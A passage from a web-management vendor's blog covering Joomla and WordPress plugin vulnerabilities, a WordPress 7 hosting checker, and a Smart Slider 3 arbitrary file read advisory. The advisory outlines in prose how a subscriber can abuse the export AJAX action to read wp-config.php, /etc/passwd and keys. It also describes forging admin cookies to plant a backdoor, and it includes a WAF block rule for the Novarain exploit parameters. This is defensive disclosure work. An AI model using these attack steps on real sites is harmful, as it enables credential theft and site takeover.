If you use Cloudflare, you can create a WAF custom rule that blocks requests where the URI query string contains both plugin=nrframework and task=include. This provides protection at the edge before the request ever reaches your server.

What about WordPress sites?

This vulnerability is Joomla-specific. The Tassos/Novarain Framework is a Joomla plugin and has no WordPress equivalent. If you manage a mixed portfolio of Joomla and WordPress sites, only the Joomla sites need checking for this particular issue.

That said, WordPress has its own share of critical plugin vulnerabilities this month. CVE-2026-1357 in WPvivid Backup (CVSS 9.8) affects 900,000+ sites with a similar unauthenticated RCE pattern. The common thread is the same: plugins that handle file operations with insufficient access controls.

If you manage both Joomla and WordPress sites, a single dashboard that covers both saves you from checking two separate ecosystems manually. When a critical CVE drops, the last thing you want is to be logging into 50 different admin panels across two different CMS platforms, checking extension versions one site at a time. That's how vulnerabilities stay unpatched for six weeks while a public exploit circulates on GitHub.

The pattern: AJAX endpoints without proper authorization

This is the third CMS plugin vulnerability we've written about in March 2026 where the root cause is the same: an AJAX endpoint that accepts requests it shouldn't. And as of today, even Joomla core is patching the same class of issue.

Novarain Framework (CVE-2026-21627) - Joomla's com_ajax endpoint routes requests to plg_system_nrframework, which whitelists the include task for unauthenticated users. No permission check at all.
Astroid Framework (CVE-2026-21628) - Joomla's AJAX handler validates the CSRF token but never checks if the user is logged in as an admin. Token from the public login page is enough.
Smart Slider 3 (CVE-2026-3098) - WordPress wp_ajax actions validate a nonce but don't check user capabilities. A subscriber account is enough to trigger the export function and read any file on the server.
Joomla core com_ajax (5.4.4 / 6.0.4) - Released March 31, 2026. Joomla itself needed ACL hardening on com_ajax. The framework that routes AJAX requests for every plugin in the ecosystem had the same authorization gap as the plugins built on top of it.
Elementor, Yoast SEO, WPForms, and Really Simple Security - Four major WordPress plugins patched critical vulnerabilities in March 2026. Not all AJAX-related, but part of the same broader pattern of plugin security failures happening simultaneously across the WordPress ecosystem.

The root cause is the same across all four: the AJAX handler authenticates the request (or doesn't even bother) but never authorises the action. A nonce proves someone is logged in. A CSRF token proves the request came from your site. Neither one proves the user has permission to do what they're asking.

Both Joomla and WordPress make it easy to register AJAX handlers. They don't make it easy to get the authorization right. Joomla's com_ajax routes requests to any system plugin with a matching task name, and it's up to the plugin to check permissions. WordPress's wp_ajax_{action} fires for any logged-in user by default - you have to explicitly add current_user_can() checks. In both cases, the framework provides the plumbing but not the guardrails. Joomla 5.4.4 and 6.0.4 shipping ACL hardening for com_ajax itself tells you how deep the problem goes - the routing layer that plugins depend on had the same gap.

If you develop Joomla extensions or WordPress plugins, treat every AJAX handler as a public endpoint until you've explicitly proven otherwise. Check capabilities, not just tokens. Four AJAX authorization failures in one month, across two CMS platforms and their core frameworks, should settle any debate about whether this is a priority.

It's the same hidden dependency problem we covered earlier. CVE-2026-21627 and CVE-2026-21628 both target framework plugins that admins don't know are installed. When those frameworks have vulnerable AJAX endpoints, nobody checks for updates because nobody knows the plugin is there.

Timeline

Date	Event
January 2026	CVE-2026-21627 reserved
16 February 2026	SSD Secure Disclosure publishes full vulnerability details
18 February 2026	Tassos.gr publishes security advisory and confirms patched versions
20 February 2026	CVE formally published and NVD entry created
26 February 2026	Public exploit tool with multiple attack modes published on GitHub
30 March 2026	3,861 of 8,297 affected mySites.guru sites (46.5%) remain unpatched

Credit: the vulnerability was discovered by researcher p1r0x working with SSD Secure Disclosure.

WordPress 7 Technical Requirements Check: Is Your Hosting Ready?

phil@mysites.guru (Phil Taylor) — Sat, 28 Mar 2026 00:00:00 GMT

<div class="not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900"> <p class="font-medium text-neutral-900 dark:text-neutral-200">Update (3 April 2026): WordPress 7.0 has been delayed.</p> <p class="mt-1 text-sm text-neutral-700 dark:text-neutral-300">The original April 9 release date no longer applies. The core team is <a href="https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/">reworking the real-time collaboration architecture</a>, and a <a href="https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/">revised schedule</a> is expected by April 22. The requirements below are unchanged - use the extra time to get your hosting ready.</p> </div>

WordPress 7.0 was originally targeting April 9, 2026, but the release has been delayed. It raises the floor: PHP 7.2 and 7.3 are gone, MySQL 8.0 is the new minimum. If you manage a handful of WordPress sites, checking each one manually is tedious. If you manage dozens or hundreds of WordPress sites, it's not realistic.

The WordPress 7 Compatibility Checker in mySites.guru scans every connected WordPress site and shows you exactly which ones meet the new requirements and which don't. Connect unlimited sites to your account and check them all from one screen. It's included in all mySites.guru subscriptions at no extra cost.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Check all your WordPress sites for 7.0 compatibility</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/tools/wordpress7/compatibility" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open WordPress 7 Compatibility Checker</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Colour-codes every connected site's PHP version, database version, and auto-update status against the WordPress 7.0 requirements.</p> </div>

What Does the WordPress 7 Hosting Check Show?

The tool lists every WordPress site connected to your account. For each one, you see:

The currently installed WordPress version
Which hosting server the site runs on (hostname)
Whether AUTOMATIC_UPDATER_DISABLED is set in wp-config.php
PHP version, colour-coded against the 7.0 requirements
Database version (MySQL or MariaDB), also colour-coded

</div>

<span class="text-red-700 dark:text-red-400 font-medium">Red</span> means below minimum. <span class="text-yellow-700 dark:text-yellow-400 font-medium">Yellow</span> means it meets the minimum but not the recommended version. <span class="text-green-700 dark:text-green-400 font-medium">Green</span> means the recommended version or better. Sites that need action stand out immediately.

How Does the Colour Coding Work?

The tool uses three tiers:

<div class="not-prose my-6 overflow-x-auto"> <table class="w-full text-sm"> <thead> <tr class="border-b border-neutral-200 dark:border-neutral-700"> <th class="py-3 pr-4 text-left font-semibold">Colour</th> <th class="py-3 px-4 text-left font-semibold">PHP</th> <th class="py-3 px-4 text-left font-semibold">MySQL</th> <th class="py-3 pl-4 text-left font-semibold">MariaDB</th> </tr> </thead> <tbody> <tr class="border-b border-neutral-100 dark:border-neutral-800"> <td class="py-3 pr-4"><span class="inline-flex items-center gap-2"><span class="inline-block h-3 w-3 rounded-full bg-green-500"></span> <span class="font-medium text-green-700 dark:text-green-400">Recommended</span></span></td> <td class="py-3 px-4">8.3+</td> <td class="py-3 px-4">8.4+ (LTS)</td> <td class="py-3 pl-4">11.4+ (LTS)</td> </tr> <tr class="border-b border-neutral-100 dark:border-neutral-800"> <td class="py-3 pr-4"><span class="inline-flex items-center gap-2"><span class="inline-block h-3 w-3 rounded-full bg-yellow-500"></span> <span class="font-medium text-yellow-700 dark:text-yellow-400">Minimum</span></span></td> <td class="py-3 px-4">7.4 - 8.2</td> <td class="py-3 px-4">8.0 - 8.3</td> <td class="py-3 pl-4">10.6 - 11.3</td> </tr> <tr> <td class="py-3 pr-4"><span class="inline-flex items-center gap-2"><span class="inline-block h-3 w-3 rounded-full bg-red-500"></span> <span class="font-medium text-red-700 dark:text-red-400">Below minimum</span></span></td> <td class="py-3 px-4">< 7.4</td> <td class="py-3 px-4">< 8.0</td> <td class="py-3 pl-4">< 10.6</td> </tr> </tbody> </table> </div>

Yellow means your site will run WordPress 7.0, but we recommend upgrading to the current Long Term Support releases (MySQL 8.4 or MariaDB 11.4) when you can. WordPress officially requires MySQL 8.0 / MariaDB 10.6 as the floor.

If you've used our Joomla 6 compatibility checker or Joomla 5 compatibility checker, you'll recognise the format. Same approach, adapted for the WordPress 7 requirements.

Where Do I Find the WordPress 7 Compatibility Checker?

The quickest way is the keyboard shortcut: press c then 7 (lowercase c, then the number 7).

You can also open the command palette with Cmd+K (or Ctrl+K on Windows/Linux), type "wordpress 7" or "compat", and press Enter.

Or go straight to the URL: https://manage.mysites.guru/en/tools/wordpress7/compatibility (you need to be logged in).

The tool also appears on the tools selector page alongside all the other diagnostic tools.

What Does the Auto-Updates Column Tell Me?

WordPress has a built-in automatic updater controlled by the AUTOMATIC_UPDATER_DISABLED constant in wp-config.php. The tool checks this for every site:

<span class="text-green-700 dark:text-green-400 font-medium">Green</span> (Disabled) means auto-updates are off. You control when WordPress 7.0 gets applied.
<span class="text-yellow-700 dark:text-yellow-400 font-medium">Yellow</span> (Enabled) means auto-updates are on. The site may upgrade to 7.0 on its own before you've verified hosting compatibility.

Why Does mySites.guru Recommend Disabling Auto-Updates?

WordPress auto-updates sound sensible until you're responsible for client sites, WooCommerce stores, or anything where downtime costs money:

A major version upgrade like 7.0 ships with database changes, new defaults, and deprecated functions. Plugins that worked yesterday can throw errors today.
Plugin and theme auto-updates can break layouts, conflict with other plugins, or introduce bugs without warning.
Updates during peak traffic cause temporary downtime, especially on shared hosting.
There's no built-in rollback. If an update breaks something at 3am, the site stays broken until someone notices.

The 6.9 to 7.0 jump is exactly the kind of upgrade you want to control. We saw what happens when you don't: WordPress 6.9.2 crashed websites that had auto-updates enabled. A site on PHP 7.3 won't get 7.0 at all (WordPress blocks it), but a site on PHP 7.4 with an untested plugin stack could auto-upgrade and break before you've had a chance to test anything.

What we recommend: set AUTOMATIC_UPDATER_DISABLED to true to stop all background updates, then set WP_AUTO_UPDATE_CORE to minor so security patches (like 7.0.1, 7.0.2) still apply automatically. Point releases land on their own, major version jumps wait for you.

mySites.guru can disable auto-updates across all your sites with one click per site from a single screen. No SSH, no editing wp-config.php on every server. You can also enforce minor upgrades only if you want a middle ground. And if you're curious what other wp-config constants are worth understanding, we wrote a guide to WordPress debug constants that covers the full set.

What Are the WordPress 7 Minimum Technical Requirements?

WordPress 7.0 raises two floors from WordPress 6.9:

PHP minimum moves from 7.2.24 to 7.4. PHP 8.3+ is recommended.
MySQL minimum moves from 5.5.5 to 8.0. MySQL 8.4 LTS is recommended.
MariaDB 10.6 minimum (unchanged from 6.9's recommended). MariaDB 11.4 LTS is recommended.

Sites that don't meet the PHP or MySQL minimum won't be offered the WordPress 7.0 update. They stay on the 6.9 security branch until the hosting is upgraded. For the full breakdown of what changed and why, see our WordPress 7.0 requirements post.

What If My Host Doesn't Meet the Minimum?

If your hosting provider is still running PHP 7.2 or MySQL 5.7, that's a bigger problem than WordPress compatibility. MySQL 5.7 extended support from Oracle ended in October 2023. PHP 7.2 reached end-of-life in November 2020. Running either in 2026 means your server has known, unpatched security vulnerabilities regardless of what CMS is on it.

Most hosts let you change PHP versions from cPanel or Plesk without a support ticket. MySQL upgrades are usually on the host's side. If they haven't upgraded to MySQL 8 by now, the Joomla 5 MySQL 8 migration wave already pressured most providers to move, so check with your host. If they still can't offer MySQL 8, it might be time to switch.

Use the compatibility checker to filter by server hostname. That groups all your sites on the same host together, so you can see at a glance which hosting providers need attention. Once hosting is sorted, you can upgrade all your WordPress sites from one dashboard rather than logging into each one individually.

Questions?

If anything's unclear, reach out through the contact form.

A few other things worth sorting before the release: plugin vulnerability alerting catches security issues across your portfolio, locking down plugin installs prevents clients from adding untested plugins right before a major upgrade, and SSL certificate monitoring makes sure expired certs don't add to the chaos during the transition.

Smart Slider 3 Hack Allows Any File to Be Downloaded

phil@mysites.guru (Phil Taylor) — Fri, 27 Mar 2026 00:00:00 GMT

<div class="not-prose ssc-alert"> <div class="ssc-alert__rail" aria-hidden="true"></div> <div class="ssc-alert__header"> <div class="ssc-alert__icon" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 9v4" /><path d="M12 17h.01" /><path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z" /></svg></div> <div class="ssc-alert__heading"> <div class="ssc-alert__eyebrow"><span class="ssc-alert__dot"></span><span class="ssc-alert__eyebrow-text">Critical update — April 8, 2026</span></div> <div class="ssc-alert__title">Smart Slider 3 Pro <span class="ssc-alert__version-strike">3.5.1.35</span> was a supply-chain attack</div> </div> </div> <div class="ssc-alert__body"> <p>Since this post was published, a security breach affected the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version <strong>3.5.1.35</strong>, which may have been installed on some websites before the issue was detected. The compromised release contains a remote code execution backdoor that runs shell commands or arbitrary PHP via a single query parameter, and it affects <strong>both the WordPress and Joomla editions</strong> of Smart Slider 3 Pro.</p> <p>If your site is currently on 3.5.1.34 (the version this post recommended last week), you are still safe, but you must <strong>skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later</strong>. If your site ran 3.5.1.35 at any point, treat it as compromised: run the indicator-of-compromise checks and use Nextend's official cleanup script.</p> </div> <div class="ssc-alert__versions" role="list"> <div class="ssc-alert__chip ssc-alert__chip--safe" role="listitem"><span class="ssc-alert__chip-label">Last safe</span><span class="ssc-alert__chip-value">3.5.1.34</span></div> <div class="ssc-alert__arrow" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14" /><path d="m12 5 7 7-7 7" /></svg></div> <div class="ssc-alert__chip ssc-alert__chip--bad" role="listitem"><span class="ssc-alert__chip-label">Compromised</span><span class="ssc-alert__chip-value"><s>3.5.1.35</s></span></div> <div class="ssc-alert__arrow" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14" /><path d="m12 5 7 7-7 7" /></svg></div> <div class="ssc-alert__chip ssc-alert__chip--target" role="listitem"><span class="ssc-alert__chip-label">Update to</span><span class="ssc-alert__chip-value">3.5.1.36+</span></div> </div> <a href="/blog/smart-slider-3-pro-supply-chain-compromise/" class="ssc-alert__cta"><span>Read the full supply-chain compromise post</span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14" /><path d="m12 5 7 7-7 7" /></svg></a> </div>

.ssc-alert__header { display: flex; gap: 0.875rem; align-items: flex-start; } .ssc-alert__icon { flex-shrink: 0; width: 36px; height: 36px; border-radius: 8px; background: #fef2f2; border: 1px solid #fecaca; display: flex; align-items: center; justify-content: center; color: #dc2626; } .dark .ssc-alert__icon { background: rgba(239, 68, 68, 0.1); border-color: rgba(239, 68, 68, 0.25); color: #f87171; } .ssc-alert__icon svg { width: 20px; height: 20px; }

.ssc-alert__heading { flex: 1; min-width: 0; } .ssc-alert__eyebrow { display: inline-flex; align-items: center; gap: 0.5rem; margin-bottom: 0.375rem; } .ssc-alert__dot { width: 6px; height: 6px; border-radius: 999px; background: #dc2626; box-shadow: 0 0 0 2px rgba(220, 38, 38, 0.18); animation: ssc-alert-blink 1.6s ease-in-out infinite; } .dark .ssc-alert__dot { background: #ef4444; box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.22); } @keyframes ssc-alert-blink { 0%, 100% { opacity: 1; } 50% { opacity: 0.35; } } .ssc-alert__eyebrow-text { font-size: 0.75rem; font-weight: 600; color: #b91c1c; letter-spacing: 0.01em; } .dark .ssc-alert__eyebrow-text { color: #fca5a5; } .ssc-alert__title { font-size: 1.125rem; font-weight: 600; line-height: 1.4; color: #111827; letter-spacing: -0.01em; } .dark .ssc-alert__title { color: #f9fafb; } .ssc-alert__version-strike { font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace; font-size: 0.95em; text-decoration: line-through; text-decoration-color: #dc2626; text-decoration-thickness: 1.5px; color: #6b7280; } .dark .ssc-alert__version-strike { color: #9ca3af; text-decoration-color: #ef4444; }

.ssc-alert__body { margin-top: 0.875rem; padding-left: calc(36px + 0.875rem); } .ssc-alert__body p { margin: 0 0 0.625rem; font-size: 0.9375rem; line-height: 1.6; color: #374151; } .dark .ssc-alert__body p { color: #d1d5db; } .ssc-alert__body p:last-child { margin-bottom: 0; } .ssc-alert__body strong { color: #111827; font-weight: 600; } .dark .ssc-alert__body strong { color: #f9fafb; }

.ssc-alert__versions { display: flex; align-items: center; gap: 0.5rem; margin: 1.25rem 0 1.25rem; padding-left: calc(36px + 0.875rem); flex-wrap: wrap; } .ssc-alert__chip { display: flex; flex-direction: column; gap: 0.0625rem; padding: 0.5rem 0.75rem; border-radius: 6px; border: 1px solid #e5e7eb; background: #f9fafb; font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace; min-width: 96px; } .dark .ssc-alert__chip { border-color: #2a2f3a; background: #161922; } .ssc-alert__chip-label { font-family: ui-sans-serif, system-ui, -apple-system, sans-serif; font-size: 0.6875rem; font-weight: 500; text-transform: uppercase; letter-spacing: 0.04em; color: #6b7280; } .dark .ssc-alert__chip-label { color: #9ca3af; } .ssc-alert__chip-value { font-size: 0.9375rem; font-weight: 600; color: #111827; } .dark .ssc-alert__chip-value { color: #f9fafb; } .ssc-alert__chip--safe { border-color: #d1d5db; } .dark .ssc-alert__chip--safe { border-color: #374151; } .ssc-alert__chip--bad { border-color: #fecaca; background: #fef2f2; } .dark .ssc-alert__chip--bad { border-color: rgba(239, 68, 68, 0.3); background: rgba(239, 68, 68, 0.06); } .ssc-alert__chip--bad .ssc-alert__chip-value { color: #b91c1c; } .dark .ssc-alert__chip--bad .ssc-alert__chip-value { color: #fca5a5; } .ssc-alert__chip--bad .ssc-alert__chip-value s { text-decoration-color: #dc2626; text-decoration-thickness: 1.5px; } .dark .ssc-alert__chip--bad .ssc-alert__chip-value s { text-decoration-color: #ef4444; } .ssc-alert__chip--target { border-color: #bbf7d0; background: #f0fdf4; } .dark .ssc-alert__chip--target { border-color: rgba(34, 197, 94, 0.3); background: rgba(34, 197, 94, 0.08); } .ssc-alert__chip--target .ssc-alert__chip-label { color: #15803d; } .dark .ssc-alert__chip--target .ssc-alert__chip-label { color: #86efac; } .ssc-alert__chip--target .ssc-alert__chip-value { color: #166534; } .dark .ssc-alert__chip--target .ssc-alert__chip-value { color: #86efac; } .ssc-alert__arrow { display: flex; align-items: center; color: #9ca3af; } .dark .ssc-alert__arrow { color: #6b7280; } .ssc-alert__arrow svg { width: 16px; height: 16px; }

.ssc-alert__cta { display: inline-flex; align-items: center; gap: 0.5rem; margin-left: calc(36px + 0.875rem); padding: 0.5rem 0.875rem; border-radius: 6px; background: #111827; color: #ffffff !important; font-size: 0.875rem; font-weight: 500; text-decoration: none !important; border: 1px solid #111827; transition: background-color 0.15s ease, border-color 0.15s ease; } .dark .ssc-alert__cta { background: #f9fafb; color: #111827 !important; border-color: #f9fafb; } .ssc-alert__cta:hover { background: #1f2937; border-color: #1f2937; } .dark .ssc-alert__cta:hover { background: #ffffff; border-color: #ffffff; } .ssc-alert__cta svg { width: 16px; height: 16px; transition: transform 0.15s ease; } .ssc-alert__cta:hover svg { transform: translateX(2px); }

@media (max-width: 640px) { .ssc-alert { padding: 1.25rem 1.25rem 1.25rem 1.5rem; } .ssc-alert__body, .ssc-alert__versions, .ssc-alert__cta { padding-left: 0; margin-left: 0; } .ssc-alert__cta { width: 100%; justify-content: center; } }

@media (prefers-reduced-motion: reduce) { .ssc-alert__dot, .ssc-alert__cta svg { animation: none; transition: none; } }

/* Inline outdated-version warning popover */ .ssc-warn { position: relative; display: inline; cursor: help; text-decoration: line-through; text-decoration-color: #ef4444; text-decoration-thickness: 2px; color: #b91c1c; } .dark .ssc-warn { color: #fca5a5; } .ssc-warn::after { content: "!"; display: inline-flex; align-items: center; justify-content: center; width: 14px; height: 14px; margin-left: 4px; border-radius: 999px; background: #ef4444; color: #fff; font-family: ui-sans-serif, system-ui, sans-serif; font-size: 10px; font-weight: 800; text-decoration: none; vertical-align: middle; line-height: 1; box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.2); animation: ssc-warn-pulse 2s ease-in-out infinite; } @keyframes ssc-warn-pulse { 0%, 100% { box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.2); } 50% { box-shadow: 0 0 0 4px rgba(239, 68, 68, 0.35); } } .ssc-warn-popover { position: absolute; left: 50%; bottom: calc(100% + 10px); transform: translateX(-50%) translateY(4px); width: max-content; max-width: 320px; padding: 12px 14px; border-radius: 10px; background: linear-gradient(135deg, #1a0507 0%, #2d0608 100%); border: 1px solid rgba(248, 113, 113, 0.5); box-shadow: 0 12px 32px rgba(0, 0, 0, 0.4), 0 0 0 1px rgba(239, 68, 68, 0.2); font-family: ui-sans-serif, system-ui, sans-serif; font-size: 0.8125rem; font-weight: 400; line-height: 1.5; color: #fecaca; text-decoration: none; text-align: left; opacity: 0; pointer-events: none; transition: opacity 0.15s ease-out, transform 0.15s ease-out; z-index: 20; white-space: normal; } .ssc-warn-popover::after { content: ""; position: absolute; left: 50%; top: 100%; transform: translateX(-50%); border: 6px solid transparent; border-top-color: rgba(248, 113, 113, 0.5); } .ssc-warn-popover strong { color: #fff; font-weight: 700; } .ssc-warn-popover a { color: #fca5a5; text-decoration: underline; text-decoration-color: rgba(248, 113, 113, 0.5); } .ssc-warn:hover .ssc-warn-popover, .ssc-warn:focus .ssc-warn-popover, .ssc-warn:focus-within .ssc-warn-popover { opacity: 1; transform: translateX(-50%) translateY(0); pointer-events: auto; } .ssc-warn-fix { display: inline-block; margin-left: 4px; padding: 1px 6px; border-radius: 4px; background: linear-gradient(135deg, #16a34a 0%, #15803d 100%); color: #fff; font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace; font-size: 0.85em; font-weight: 700; text-decoration: none; vertical-align: baseline; box-shadow: 0 2px 6px -2px rgba(22, 163, 74, 0.5); } @media (prefers-reduced-motion: reduce) { .ssc-warn::after { animation: none; } } </style>

Smart Slider 3, one of the most popular slider plugins for WordPress with over 800,000 active installations, has a vulnerability that lets any registered user download any file from your server. Not just images or slider assets. Any file the web server process can read.

wp-config.php with your database credentials. /etc/passwd. Your .env file. Private SSL keys. Database backup files sitting in a directory someone forgot to protect. Payment gateway configs. SMTP credentials. If it's on the filesystem and readable by the web server, an attacker with nothing more than a free subscriber account can download it.

The vulnerability (CVE-2026-3098, CVSS 6.5 Medium) affects all versions up to and including 3.5.1.33. If you run Smart Slider 3, update to <span class="ssc-warn" tabindex="0">version 3.5.1.34<span class="ssc-warn-popover"><strong>Outdated advice.</strong> Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend's update channel. Skip 3.5.1.35 and update directly to <strong>3.5.1.36</strong> or later. <a href="/blog/smart-slider-3-pro-supply-chain-compromise/">Read why</a>.</span></span> <a href="/blog/smart-slider-3-pro-supply-chain-compromise/" class="ssc-warn-fix">3.5.1.36+</a> now.

This was first reported by Wordfence, but their disclosure doesn't mention Joomla once. Smart Slider 3 also ships as a Joomla extension, and we've confirmed it shares the same vulnerable codebase - identical files, identical hashes. If you manage Joomla sites, read the Joomla section below.

<h2 id="tldr"><span class="glossary-trigger" tabindex="0">TL;DR<span class="glossary-popover">"Too Long; Didn't Read" - a quick summary of the key points.</span></span></h2>

CVE-2026-3098 - CVSS 6.5 arbitrary file read in Smart Slider 3 versions up to 3.5.1.33
Any subscriber-level user can download any file the web server can read: wp-config.php, .env, /etc/passwd, private keys, database backups, payment configs
Update to <span class="ssc-warn" tabindex="0">Smart Slider 3.5.1.34<span class="ssc-warn-popover"><strong>Outdated advice.</strong> Version 3.5.1.35 was a malicious supply-chain release. Skip it and update directly to <strong>3.5.1.36</strong> or later. <a href="/blog/smart-slider-3-pro-supply-chain-compromise/">Read why</a>.</span></span> — now use <a href="/blog/smart-slider-3-pro-supply-chain-compromise/" class="ssc-warn-fix">3.5.1.36+</a>
After updating, regenerate your authentication keys/salts and change your database password
Sites with open user registration are at highest risk

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">Update now. Don't wait.</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">This vulnerability is public knowledge. The exploit requires only a free subscriber account. If your site allows any form of user registration, every minute you wait is a minute an attacker could be downloading your database credentials, private keys, and every other sensitive file on your server.</p> </div>

How Many mySites.guru Users Are Affected by Smart Slider 3?

We checked our database this morning. Across the thousands of agencies using mySites.guru:

<div class="not-prose my-6 grid grid-cols-2 gap-4"> <div class="rounded-lg border border-red-200 bg-red-50 p-6 text-center dark:border-red-800 dark:bg-red-950"> <p class="text-4xl font-bold text-red-900 dark:text-red-200">724</p> <p class="mt-1 text-sm font-medium text-red-800 dark:text-red-300">Agencies affected</p> </div> <div class="rounded-lg border border-red-200 bg-red-50 p-6 text-center dark:border-red-800 dark:bg-red-950"> <p class="text-4xl font-bold text-red-900 dark:text-red-200">7,869</p> <p class="mt-1 text-sm font-medium text-red-800 dark:text-red-300">Sites running vulnerable versions</p> </div> </div>

Every one of those agencies already has a warning in their mySites.guru dashboard, because the Wordfence Vulnerability API is built into the platform and flagged it automatically. All 724 are being emailed today.

Those 724 agencies didn't need to read this post to know they had a problem. They already knew.

How Does the mySites.guru Detection of Smart Slider 3 Work?

Twice a day, a snapshot runs on each connected WordPress site, collecting every installed plugin and its version number. That list gets cross-referenced against Wordfence, CVE/Mitre, and custom threat intelligence databases.

If your site runs Smart Slider 3 version 3.5.1.33 or earlier, it gets flagged with the specific CVE, severity rating, and a direct link to the advisory. No manual checking required.

This isn't the first time mySites.guru has flagged Smart Slider 3 either. The plugin had a previous SQL Injection vulnerability (CVE-2025-6348) in versions up to 3.5.1.28 that was also caught automatically. Here's what the vulnerability warning looks like in the mySites.guru dashboard:

</div>

Every vulnerable plugin version gets its own entry with the full advisory text, so you know exactly what the risk is before deciding how urgently to patch.

How to Quickly Find Which Sites Have Smart Slider 3 Installed with mySites.guru

When a vulnerability like this drops, the first question is: "Which of my sites have this installed?" If you manage 50 or 200 client sites, you don't have time to log into each one and check the plugins page.

mySites.guru indexes every plugin on every connected site. One URL gives you the complete list of every site running Smart Slider 3, broken down by version number, with the site's PHP version, WordPress version, and SSL status alongside it:

</div>

If you're already a mySites.guru subscriber, you can open this page right now:

Every version of Smart Slider 3 installed across your sites is listed at the top. Below that, every individual site running the plugin, with its exact version. You can see which sites are still on vulnerable versions and which have already been updated to 3.5.1.34.

That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, you know exactly which clients are exposed, and you start patching.

How to Push the Smart Slider 3 Update Across All Your Sites

Once you know which sites are affected, the mass plugin updater lets you select every site running the vulnerable version and push the update in one batch. When a vulnerability drops affecting 800,000 sites, the agencies that patch in hours rather than weeks are the ones that don't end up in incident response.

If you don't have a mySites.guru account yet, sign up for a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

What Happened with Smart Slider 3 CVE-2026-3098?

The vulnerability was discovered by Dmitrii Ignatyev on February 23, 2026, and reported through the Wordfence Bug Bounty Program (earning a $2,208 bounty). Wordfence validated the proof-of-concept the next day and notified the developer, Nextend.

The problem is a missing capability check in Smart Slider 3's export functionality. The plugin's AJAX actions that handle slider exports are protected by a nonce (a one-time token that proves the request came from a logged-in session), but there's no check on whether the user actually has permission to use that feature.

A nonce proves you're logged in. It doesn't prove you're an admin.

In the vulnerable version, any authenticated user, including someone with just a subscriber account, could:

Obtain the required nonce (it's available to any authenticated user)
Call the actionExportAll function via AJAX
Receive a ZIP file containing exported slider data, including any referenced files

The ExportSlider class's create() method adds files to the export ZIP using file_get_contents() without validating file types or restricting which directories can be accessed. Image files, video files, PHP files, config files, private keys - everything is treated the same way. There is no allowlist, no path restriction, and no file extension check. An attacker can manipulate the export to include any file the web server process can read.

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">Important: this is not limited to wp-config.php</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">Any file readable by the web server is exposed. That includes <code>.env</code> files, <code>/etc/passwd</code>, database backups, SSL private keys, payment gateway configs, SMTP credentials, and any other sensitive file on the server. If you run Smart Slider 3 on a shared hosting account, other sites on the same server may also be at risk depending on your host's isolation setup.</p> </div>

Why Is the Smart Slider 3 File Read So Dangerous?

wp-config.php gets the most attention because it contains everything an attacker needs to own your site, but most servers have sensitive files well beyond WordPress configs.

A single read of wp-config.php gives an attacker:

Database username, password, host, and database name. If the database port is accessible from outside the server (more common than you'd think on budget hosting), they can connect directly and pull user password hashes, customer data, WooCommerce orders, and private content.
Authentication keys and salts - the eight constants (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, and their corresponding salts) that WordPress uses to sign session cookies. With these values, an attacker can forge a valid admin session cookie without knowing the admin password.
The table prefix, which makes SQL injection attacks against other vulnerabilities more precise.
Any third-party secrets stored as constants: API keys, payment gateway credentials, SMTP passwords, cloud storage keys. Many plugins put these in wp-config.php.

The practical attack chain: forge an admin cookie using the stolen keys, log into wp-admin, install a backdoor plugin, and maintain persistent access even after the original vulnerability is patched.

Who Is at Risk from the Smart Slider 3 Vulnerability?

The vulnerability requires subscriber-level authentication, the lowest role in WordPress. This means:

WooCommerce stores, where customers create accounts to place orders (subscriber access)
Membership sites and anything using a registration plugin
Any site with "Anyone can register" enabled in Settings > General
Multisite networks, where user registration on any site in the network provides the access level needed
Sites with compromised low-privilege accounts from a previous breach or credential stuffing attack

If your site doesn't allow any form of user registration and has no subscriber accounts, the risk is significantly lower (but not zero, since an attacker could exploit a separate vulnerability to create an account first).

What Should You Do About Smart Slider 3 Right Now?

